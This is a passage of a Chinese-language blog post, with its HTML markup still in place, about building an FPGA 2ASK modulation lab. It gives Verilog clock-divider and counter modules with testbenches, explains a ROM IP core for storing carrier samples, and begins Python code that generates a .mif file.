keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 所谓X分频,就是原来时钟是每一下变一次\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 现在是每X下变一次\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// lb(256) = 8\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter_8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 折中计数到一半就行\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 8分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out8 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 16分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e4'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out16 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 256分频\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e counter_256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e8'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e out256 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eout256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_fenpin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out8\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out16\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e out256\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003efenpin fenpin_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout8 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout8\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout16 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout16\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eout256 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eout256\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E5%88%86%E9%A2%91%E4%BB%BF%E7%9C%9F.png\" /\u003e\u003ch3 id=\"2-载波产生模块\"\u003e\u003ca href=\"#2-载波产生模块\" class=\"headerlink\" title=\"2. 载波产生模块\"\u003e\u003c/a\u003e2. 载波产生模块\u003c/h3\u003e\u003cp\u003e载波产生模块示意图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%BD%BD%E6%B3%A2%E4%BA%A7%E7%94%9F%E6%A8%A1%E5%9D%97.png\" /\u003e\u003cblockquote\u003e\u003cp\u003e载波产生模块示意图如上图所示,其中clock为载波采样时钟,q[2:0]为计数器输出,q[7:0]输出为载波信号。载波产生模块由一个计数器和一个ROM构成,其中ROM中存储着一个载波周期的样点值,则计数器的进制设置为一个载波周期包含的样点数。本实验中一个载波周期取八个样点,计数器设置为八进制计数器,ROM和计数器均可使用IP核实现。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e结合示意图可以知道,载波产生模块又分为两部分:\u003cstrong\u003e八进制计数器\u003c/strong\u003e和\u003cstrong\u003eROM\u003c/strong\u003e。分开来写。\u003c/p\u003e\u003ch4 id=\"1)-八进制计数器\"\u003e\u003ca href=\"#1)-八进制计数器\" class=\"headerlink\" title=\"1) 八进制计数器\"\u003e\u003c/a\u003e1) 八进制计数器\u003c/h4\u003e\u003cp\u003eq 的值每个时钟加1,从0加到7。\u003c/p\u003e\u003cp\u003e\u003ccode\u003elpm_counter0.v\u003c/code\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e lpm_counter0 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_lpm_counter0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003elpm_counter0 lpm_counter0_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclk\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eq\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%AE%A1%E6%95%B0%E5%99%A8%E4%BB%BF%E7%9C%9F.png\" /\u003e\u003ch4 id=\"2)ROM\"\u003e\u003ca href=\"#2)ROM\" class=\"headerlink\" title=\"2)ROM\"\u003e\u003c/a\u003e2)ROM\u003c/h4\u003e\u003cp\u003e使用 \u003cstrong\u003eIP核\u003c/strong\u003e ,照着野火的教程学了学。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV17z411i7er/?p=46\"\u003e46-第二十六讲-ROM-IP核的调用(一)_哔哩哔哩_bilibili\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e经过大概分析,可以知道本实验使用 \u003cstrong\u003e单端口ROM\u003c/strong\u003e ,数据为 \u003cstrong\u003e8位宽\u003c/strong\u003e ,地址为 \u003cstrong\u003e3位宽\u003c/strong\u003e ,至少包含 \u003cstrong\u003e8个\u003c/strong\u003e 数据(采样了8个点),使用单时钟。\u003c/p\u003e\u003cp\u003e输出添加一个寄存器会延后两个周期输出。(原来延后一个,经过寄存器再延后一个。)\u003c/p\u003e\u003cp\u003e写操作是时钟的上升沿,读也是时钟的上升沿。\u003c/p\u003e\u003ch5 id=\"产生-mif-文件\"\u003e\u003ca href=\"#产生-mif-文件\" class=\"headerlink\" title=\"产生 mif 文件\"\u003e\u003c/a\u003e产生 mif 文件\u003c/h5\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_44939178/article/details/112314742\"\u003ematlab生成.mif文件 产生正弦信号数据_橘子FPGA的博客-CSDN博客_matlab生成正弦信号\u003c/a\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e本实验中一个载波周期取八个样点。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e本次使用 \u003ccode\u003epython\u003c/code\u003e 进行生成\u003cdel\u003e(就8个点手写也行\u003c/del\u003e。\u003c/p\u003e\u003cp\u003e根据 \u003ccode\u003e.mif\u003c/code\u003e 文件的格式一句一句打印出来。\u003c/p\u003e\u003cp\u003e一个普通余弦信号周期为 $2\\pi$ ,取样8个点,就是 $cos(2{\\pi}\\times\\frac{x}{8})$ ;\u003c/p\u003e\u003cp\u003e数据位宽为8位,所表示的数据在0~255之间,所以需要将 $cos(2{\\pi}\\times\\frac{x-1}{8})$ 的幅值**-1~+1变化到0~255**。\u003c/p\u003e\u003cp\u003e具体做法是将 $cos(2{\\pi}\\times\\frac{x}{8})\\times128+128$ 。就是将原幅值变换至-128~+128,然后加上128,范围变为0~256。 \u003c/p\u003e\u003cp\u003e\u003ccode\u003epython\u003c/code\u003e 代码:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e mathpi \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e math\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epifilename \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"sin_8x8.mif\"\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token 